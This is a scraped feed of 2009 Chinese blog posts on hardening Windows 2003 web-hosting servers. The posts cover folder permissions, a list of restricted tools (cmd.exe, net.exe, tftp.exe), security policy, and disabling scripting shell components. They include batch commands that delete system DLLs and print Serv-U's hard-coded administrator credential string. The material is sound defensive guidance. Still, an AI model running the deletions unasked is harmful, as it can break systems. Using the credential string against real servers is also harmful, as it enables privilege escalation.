主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 此文件夹包含 Microsoft 应用程序状态数据 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\RSA\MachineKeys <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Everyone 列出文件夹、读取属性、读取扩展属性、创建文件、创建文件夹、写入属性、写入扩展属性、读取权限 </font></p>
<p><font size="2">只有该文件夹 Everyone这里只有读写权限，不能加运行和删除权限，仅限该文件夹 只有该文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Crypto\DSS\MachineKeys <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Everyone 列出文件夹、读取属性、读取扩展属性、创建文件、创建文件夹、写入属性、写入扩展属性、读取权限 </font></p>
<p><font size="2">只有该文件夹 Everyone这里只有读写权限，不能加运行和删除权限，仅限该文件夹 只有该文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\HTML Help <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Connections\Cm <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Everyone 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 Everyone这里只有读和运行权限 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Network\Downloader <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Application Data\Microsoft\Media Index <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;继承于上一级文件夹&gt; <br>
SYSTEM 完全控制 Users 创建文件/写入数据 <br>
创建文件夹/附加数据 <br>
写入属性 <br>
写入扩展属性 <br>
读取权限 <br>
该文件夹，子文件夹及文件 只有该文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
Users 创建文件/写入数据 <br>
创建文件夹/附加数据 <br>
写入属性 <br>
写入扩展属性 <br>
只有该子文件夹和文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\DRM <br>
主要权限部分： 其他权限部分： <br>
这里需要把GUEST用户组和IIS访问用户组全部禁止 <br>
Everyone的权限比较特殊，默认安装后已经带了 <br>
主要是要把IIS访问的用户组加上所有权限都禁止 Users 读取和运行 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
Guests 拒绝所有 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
Guest 拒绝所有 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
IUSR_XXX <br>
或某个虚拟主机用户组 拒绝所有 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Documents and Settings\All Users\Documents (共享文档) <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Common Files\Microsoft Shared\web server extensions <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Microsoft SQL Server\MSSQL (程序部分默认装在C：盘) <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: E:\Program Files\Microsoft SQL Server (数据库部分装在E：盘的情况) <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: E:\Program Files\Microsoft SQL Server\MSSQL (数据库部分装在E：盘的情况) <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Internet Explorer\iexplore.exe <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Outlook Express <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\PowerEasy5 (如果装了动易组件的话) <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Radmin (如果装了Radmin远程控制的话) <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
对应的c:\windows\system32里面有两个文件 <br>
r_server.exe和AdmDll.dll <br>
要把Users读取运行权限去掉 <br>
默认权限只要administrators和system全部权限 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Serv-U (如果装了Serv-U服务器的话) <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
这里常是提权入侵的一个比较大的漏洞点 <br>
一定要按这个方法设置 <br>
目录名字根据Serv-U版本也可能是 <br>
C:\Program Files\RhinoSoft.com\Serv-U </font></p>
<p><font size="2">该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Windows Media Player <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 </font></p>
<p><font size="2">该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\Windows NT\Accessories <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 </font></p>
<p><font size="2">该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\Program Files\WindowsUpdate <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 </font></p>
<p><font size="2">该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\WINDOWS <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\WINDOWS\system32 <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 IUSR_XXX <br>
或某个虚拟主机用户组 列出文件夹/读取数据 ：拒绝 <br>
读取权限 ：拒绝 <br>
只有子文件夹及文件 只有该文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 虚拟主机用户访问组拒绝读取，有助于保护系统数据 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\WINDOWS\system32\config <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 IUSR_XXX <br>
或某个虚拟主机用户组 列出文件夹/读取数据 ：拒绝 <br>
读取权限 ：拒绝 <br>
只有子文件夹及文件 只有该文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 虚拟主机用户访问组拒绝读取，有助于保护系统数据 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\WINDOWS\system32\inetsrv\ <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 IUSR_XXX <br>
或某个虚拟主机用户组 读取 ：拒绝 <br>
只有子文件夹及文件 只有该文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 虚拟主机用户访问组拒绝读取，有助于保护系统数据 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\WINDOWS\system32\inetsrv\ASP Compiled Templates <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 IIS_WPG 完全控制 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
IUSR_XXX <br>
或某个虚拟主机用户组 读取 ：拒绝 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
虚拟主机用户访问组拒绝读取，有助于保护系统数据 </font></p>
<p><font size="2">硬盘或文件夹: C:\WINDOWS\system32\inetsrv\iisadmpwd <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 无 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">硬盘或文件夹: C:\WINDOWS\system32\inetsrv\MetaBack <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 Users 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 IUSR_XXX <br>
或某个虚拟主机用户组 读取 ：拒绝 <br>
只有子文件夹及文件 只有该文件夹 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 虚拟主机用户访问组拒绝读取，有助于保护系统数据 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">Winwebmail 电子邮局安装后权限举例：目录E:\ <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 IUSR_XXXXXX <br>
这个用户是WINWEBMAIL访问WEB站点专用帐户 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; &lt;不是继承的&gt; <br>
CREATOR OWNER 完全控制 <br>
只有子文件夹及文件 <br>
&lt;不是继承的&gt; <br>
SYSTEM 完全控制 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt; </font></p>
<p><font size="2">Winwebmail 电子邮局安装后权限举例：目录E:\WinWebMail <br>
主要权限部分： 其他权限部分： <br>
Administrators 完全控制 IUSR_XXXXXX <br>
WINWEBMAIL访问WEB站点专用帐户 读取和运行 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;继承于E:\&gt; &lt;继承于E:\&gt; <br>
CREATOR OWNER 完全控制 Users 修改/读取运行/列出文件目录/读取/写入 <br>
只有子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;继承于E:\&gt; &lt;不是继承的&gt; <br>
SYSTEM 完全控制 IUSR_XXXXXX <br>
WINWEBMAIL访问WEB站点专用帐户 修改/读取运行/列出文件目录/读取/写入 <br>
该文件夹，子文件夹及文件 该文件夹，子文件夹及文件 <br>
&lt;继承于E:\&gt; &lt;不是继承的&gt; <br>
IUSR_XXXXXX和IWAM_XXXXXX <br>
是winwebmail专用的IIS用户和应用程序池用户 <br>
单独使用，安全性能高 IWAM_XXXXXX <br>
WINWEBMAIL应用程序池专用帐户 修改/读取运行/列出文件目录/读取/写入 <br>
该文件夹，子文件夹及文件 <br>
&lt;不是继承的&gt;</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B7%FE%CE%F1%C6%F7%A1%F4%CE%AC%BB%A4%A1%FE">〓服务器◆维护〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/aa69184e5c52ca01b3de0534.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  上午 11:14</pubDate>
        <category><![CDATA[〓服务器◆维护〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/aa69184e5c52ca01b3de0534.html</guid>
</item>

<item>
        <title><![CDATA[特殊文件权限设置]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/8b3edc452e80cf378794732a.html]]></link>
        <description><![CDATA[
		
		<div class="paper01" >
<div class="aditem_paper01"> </div>
</div>
net.exe <br>
cmd.exe&nbsp;&nbsp;<br>
tftp.exe<br>
netstat.exe<br>
regedit.exe&nbsp;&nbsp;<br>
at.exe<br>
attrib.exe<br>
cacls.exe <br>
format.exe <br>
<br>
设置为只administrator可以运行 <br> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B7%FE%CE%F1%C6%F7%A1%F4%CE%AC%BB%A4%A1%FE">〓服务器◆维护〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/8b3edc452e80cf378794732a.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  上午 11:11</pubDate>
        <category><![CDATA[〓服务器◆维护〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/8b3edc452e80cf378794732a.html</guid>
</item>

<item>
        <title><![CDATA[服务器安全之安全策略]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/f5b6e81e74d4e61741341729.html]]></link>
        <description><![CDATA[
		
		<h1 class="ContentTitle"><strong>服务器安全之安全策略（转）</strong>作者:单翼</h1>
<p>安全策略自动更新命令：GPUpdate /force (应用组策略自动生效不需重新启动) <br>
<br>
<br>
　　 开始菜单&mdash;&gt;管理工具&mdash;&gt;本地安全策略<br>
<br>
　　 A、本地策略&mdash;&mdash;&gt;审核策略 <br>
<br>
　　 审核策略更改　　　成功　失败　　<br>
　　 审核登录事件　　　成功　失败<br>
　　 审核对象访问　　　　　　失败<br>
　　 审核过程跟踪　　　无审核<br>
　　 审核目录服务访问　　　　失败<br>
　　 审核特权使用　　　　　　失败<br>
　　 审核系统事件　　　成功　失败<br>
　　 审核账户登录事件　成功　失败<br>
　　 审核账户管理　　　成功　失败 <br>
<br>
　　B、本地策略&mdash;&mdash;&gt;用户权限分配<br>
<br>
　　 关闭系统：只有Administrators组、其它全部删除。<br>
　　 通过终端服务拒绝登陆：加入Guests、User组<br>
　　 通过终端服务允许登陆：只加入Administrators组，其他全部删除<br>
<br>
　　C、本地策略&mdash;&mdash;&gt;安全选项<br>
<br>
　　 交互式登陆：不显示上次的用户名　　　　　　　启用<br>
　　 网络访问：不允许SAM帐户和共享的匿名枚举　　 启用<br>
　　 网络访问：不允许为网络身份验证储存凭证　　　启用<br>
　　 网络访问：可匿名访问的共享　　　　　　　　　全部删除<br>
　　 网络访问：可匿名访问的命　　　　　　　　　　全部删除<br>
　　 网络访问：可远程访问的注册表路径　　　　　　全部删除 <br>
　　 网络访问：可远程访问的注册表路径和子路径　　全部删除 <br>
　　 帐户：重命名来宾帐户　　　　　　　　　　　　重命名一个帐户 <br>
　　 帐户：重命名系统管理员帐户　　　　　　　　　重命名一个帐户</p>
<p><font face="Verdana">策略一：关闭windows2003不必要的服务</font></p>
<p><font face="Verdana">　　·Computer Browser 维护网络上计算机的最新列表以及提供这个列表</font></p>
<p><font face="Verdana">　　·Task scheduler 允许程序在指定时间运行</font></p>
<p><font face="Verdana">　　·Routing and Remote Access 在局域网以及广域网环境中为企业提供路由服务</font></p>
<p><font face="Verdana">　　·Removable storage 管理可移动媒体、驱动程序和库</font></p>
<p><font face="Verdana">　　·Remote Registry Service 允许远程注册表操作</font></p>
<p><font face="Verdana">　　·Print Spooler 将文件加载到内存中以便以后打印。</font></p>
<p><font face="Verdana">　　·IPSEC Policy Agent 管理IP安全策略及启动ISAKMP/OakleyIKE)和IP安全驱动程序</font></p>
<p><font face="Verdana">　　·Distributed Link Tracking Client 当文件在网络域的NTFS卷中移动时发送通知</font></p>
<p><font face="Verdana">　　·Com+ Event System 提供事件的自动发布到订阅COM组件</font></p>
<p><font face="Verdana">　　·Alerter 通知选定的用户和计算机管理警报</font></p>
<p><font face="Verdana">　　·Error Reporting Service 收集、存储和向 Microsoft 报告异常应用程序</font></p>
<p><font face="Verdana">　　·Messenger 传输客户端和服务器之间的 NET SEND 和 警报器服务消息</font></p>
<p><font face="Verdana">　　·Telnet 允许远程用户登录到此计算机并运行程序</font></p> 
		
		<br/><b>类别：</b><a href="http://hi.baidu.com/lookxd/blog/category/%A1%FE%B7%FE%CE%F1%C6%F7%A1%F4%CE%AC%BB%A4%A1%FE">〓服务器◆维护〓</a>&nbsp;<a href="http://hi.baidu.com/lookxd/blog/item/f5b6e81e74d4e61741341729.html#comment">查看评论</a>]]></description>
        <pubDate>2009年03月11日 星期三  上午 11:09</pubDate>
        <category><![CDATA[〓服务器◆维护〓]]></category>
        <author><![CDATA[IT小刀]]></author>
		<guid>http://hi.baidu.com/lookxd/blog/item/f5b6e81e74d4e61741341729.html</guid>
</item>

<item>
        <title><![CDATA[服务器安全之组件安全]]></title>
        <link><![CDATA[http://hi.baidu.com/lookxd/blog/item/a0f735cb649ae817bf09e646.html]]></link>
        <description><![CDATA[
		
		<h1 class="ContentTitle"><strong>服务器安全之组件安全 </strong>作者:单翼</h1>
<p> </p>
<p>A、卸载WScript.Shell 和 Shell.application 组件，将下面的代码保存为一个.BAT文件执行（分2000和2003系统）<br>
<br>
windows2000.bat<br>
<br>
regsvr32/u C:\WINNT\System32\wshom.ocx<br>
del C:\WINNT\System32\wshom.ocx<br>
regsvr32/u C:\WINNT\system32\shell32.dll<br>
del C:\WINNT\system32\shell32.dll<br>
<br>
windows2003.bat<br>
<br>
regsvr32/u C:\WINDOWS\System32\wshom.ocx<br>
del C:\WINDOWS\System32\wshom.ocx<br>
regsvr32/u C:\WINDOWS\system32\shell32.dll<br>
del C:\WINDOWS\system32\shell32.dll<br>
<br>
B、改名不安全组件，需要注意的是组件的名称和Clsid都要改，并且要改彻底了，不要照抄，要自己改<br>
<br>
开始→运行→regedit→回车】打开注册表编辑器<br>
<br>
然后【编辑→查找→填写Shell.application→查找下一个】<br>
<br>
用这个方法能找到两个注册表项：<br>
<br>
{13709620-C279-11CE-A49E-444553540000} 和 Shell.application 。<br>
<br>
第一步：为了确保万无一失，把这两个注册表项导出来，保存为xxxx.reg 文件。<br>
<br>
第二步：比如我们想做这样的更改<br>
<br>
13709620-C279-11CE-A49E-444553540000 改名为 13709620-C279-11CE-A49E-444553540001<br>
<br>
Shell.application 改名为 Shell.application_nohack<br>
<br>
第三步：那么，就把刚才导出的.reg文件里的内容按上面的对应关系替换掉，然后把修改好的.reg文件导入到注册表中（双击即可），导入了改名后的注册表项之后，别忘记了删除原有的那两个项目。这里需要注意一点，Clsid中只能是十个数字和ABCDEF六个字母。<br>
<br>
其实，只要把对应注册表项导出来备份，然后直接改键名就可以了，<br>
<br>
改好的例子建议自己改应该可一次成功：<br>
<br>
Windows Registry Editor Version 5.00<br>
<br>
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}]<br>
@=&quot;Shell Automation Service&quot;<br>
<br>
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\InProcServer32]<br>
@=&quot;C:\\WINNT\\system32\\shell32.dll&quot;<br>
&quot;ThreadingModel&quot;=&quot;Apartment&quot;<br>
<br>
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\ProgID]<br>
@=&quot;Shell.Application_nohack.1&quot;<br>
<br>
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\TypeLib]<br>
@=&quot;{50a7e9b0-70ef-11d1-b75a-00a0c90564fe}&quot;<br>
<br>
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\Version]<br>
@=&quot;1.1&quot;<br>
<br>
[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\VersionIndependentProgID]<br>
@=&quot;Shell.Application_nohack&quot;<br>
<br>
[HKEY_CLASSES_ROOT\Shell.Application_nohack]<br>
@=&quot;Shell Automation Service&quot;<br>
<br>
[HKEY_CLASSES_ROOT\Shell.Application_nohack\CLSID]<br>
@=&quot;{13709620-C279-11CE-A49E-444553540001}&quot;<br>
<br>
[HKEY_CLASSES_ROOT\Shell.Application_nohack\CurVer]<br>
@=&quot;Shell.Application_nohack.1&quot;<br>
<br>
评论：WScript.Shell 和 Shell.application 组件是 脚本入侵过程中，提升权限的重要环节，这两个组件的卸载和修改对应注册键名，可以很大程度的提高虚拟主机的脚本安全性能，一般来说，ASP和php类脚本提升权限的功能是无法实现了，再加上一些系统服务、硬盘访问权限、端口过滤、本地安全策略的设置，虚拟主机因该说，安全性能有非常大的提高，黑客入侵的可能性是非常低了。注销了Shell组件之后，侵入者运行提升工具的可能性就很小了，但是prel等别的脚本语言也有shell能力，为防万一，还是设置一下为好。下面是另外一种设置，大同小异。<br>
<br>
一、禁止使用FileSystemObject组件 <br>
<br>
　　FileSystemObject可以对文件进行常规操作,可以通过修改注册表，将此组件改名，来防止此类木马的危害。<br>
<br>
　　HKEY_CLASSES_ROOT\Scripting.FileSystemObject\<br>
<br>
　　改名为其它的名字，如：改为 FileSystemObject_ChangeName<br>
<br>
　　自己以后调用的时候使用这个就可以正常调用此组件了<br>
<br>
　　也要将clsid值也改一下<br>
<br>
　　HKEY_CLASSES_ROOT\Scripting.FileSystemObject\CLSID\项目的值<br>
<br>
　　也可以将其删除，来防止此类木马的危害。<br>
<br>
　　2000注销此组件命令：RegSrv32 /u C:\WINNT\SYSTEM\scrrun.dll <br>
<br>
　　2003注销此组件命令：RegSrv32 /u C:\WINDOWS\SYSTEM\scrrun.dll <br>
<br>
　　如何禁止Guest用户使用scrrun.dll来防止调用此组件？<br>
<br>
　　使用这个命令：cacls C:\WINNT\system32\scrrun.dll /e /d guests<br>
<br>
　　二、禁止使用WScript.Shell组件<br>
<br>
　　WScript.Shell可以调用系统内核运行DOS基本命令<br>
<br>
　　可以通过修改注册表，将此组件改名，来防止此类木马的危害。<br>
<br>
　　HKEY_CLASSES_ROOT\WScript.Shell\及HKEY_CLASSES_ROOT\WScript.Shell.1\<br>
<br>
　　改名为其它的名字，如：改为WScript.Shell_ChangeName 或 WScript.Shell.1_ChangeName<br>
<br>
　　自己以后调用的时候使用这个就可以正常调用此组件了<br>
<br>
　　也要将clsid值也改一下<br>
<br>
　　HKEY_CLASSES_ROOT\WScript.Shell\CLSID\项目的值<br>
<br>
　　HKEY_CLASSES_ROOT\WScript.Shell.1\CLSID\项目的值<br>
<br>
　　也可以将其删除，来防止此类木马的危害。<br>
<br>
　　三、禁止使用Shell.Application组件<br>
<br>
　　Shell.Application可以调用系统内核运行DOS基本命令<br>
<br>
　　可以通过修改注册表，将此组件改名，来防止此类木马的危害。<br>
<br>
　　HKEY_CLASSES_ROOT\Shell.Application\<br>
<br>
　　及<br>
<br>
　　HKEY_CLASSES_ROOT\Shell.Application.1\<br>
<br>
　　改名为其它的名字，如：改为Shell.Application_ChangeName 或 Shell.Application.1_ChangeName<br>
<br>
　　自己以后调用的时候使用这个就可以正常调用此组件了<br>
<br>
　　也要将clsid值也改一下<br>
<br>
　　HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值<br>
<br>
　　HKEY_CLASSES_ROOT\Shell.Application\CLSID\项目的值<br>
<br>
　　也可以将其删除，来防止此类木马的危害。<br>
<br>
　　禁止Guest用户使用shell32.dll来防止调用此组件。<br>
<br>
　　2000使用命令：cacls C:\WINNT\system32\shell32.dll /e /d guests<br>
　　2003使用命令：cacls C:\WINDOWS\system32\shell32.dll /e /d guests<br>
<br>
　　注：操作均需要重新启动WEB服务后才会生效。<br>
<br>
　　四、调用Cmd.exe<br>
<br>
　　禁用Guests组用户调用cmd.exe<br>
<br>
　　2000使用命令：cacls C:\WINNT\system32\Cmd.exe /e /d guests<br>
　　2003使用命令：cacls C:\WINDOWS\system32\Cmd.exe /e /d guests<br>
<br>
　　通过以上四步的设置基本可以防范目前比较流行的几种木马，但最有效的办法还是通过综合安全设置，将服务器、程序安全都达到一定标准，才可能将安全等级设置较高，防范更多非法入侵。 <br>
<br>
C、防止Serv-U权限提升 (适用于 Serv-U6.0 以前版本，之后可以直接设置密码)<br>
<br>
先停掉Serv-U服务<br>
<br>
用Ultraedit打开ServUDaemon.exe<br>
<br>
查找 Ascii：LocalAdministrator 和 #l@$ak#.lk;0@P<br>
<br>
修改成等长度的其它字符就可以了，ServUAdmin.exe也一样处理。<br>
<br>
另外注意设置Serv-U所在的文件夹的权限，不要让IIS匿名用户有读取的权限，否则人家下走你修改过的文件，照样可以分析出你的管理员名和密码。可以使用阿江ASP探针来检测下系统的安全状态。</p>
<p> </p>
<p>下面是运行和卸载这两个组件的方法：</p>
<p><strong>1、运行(打开)Wscript.Shell</strong><br>
regsvr32 %windir%\system32\wshom.ocx</p>
<p><strong>2、卸载(关闭)Wscript.Shell</strong><br>
regsvr32 /u %windir%\system32\wshom.ocx</p>
<p><strong>3、运行(打开)Wscript.Shell</strong><br>
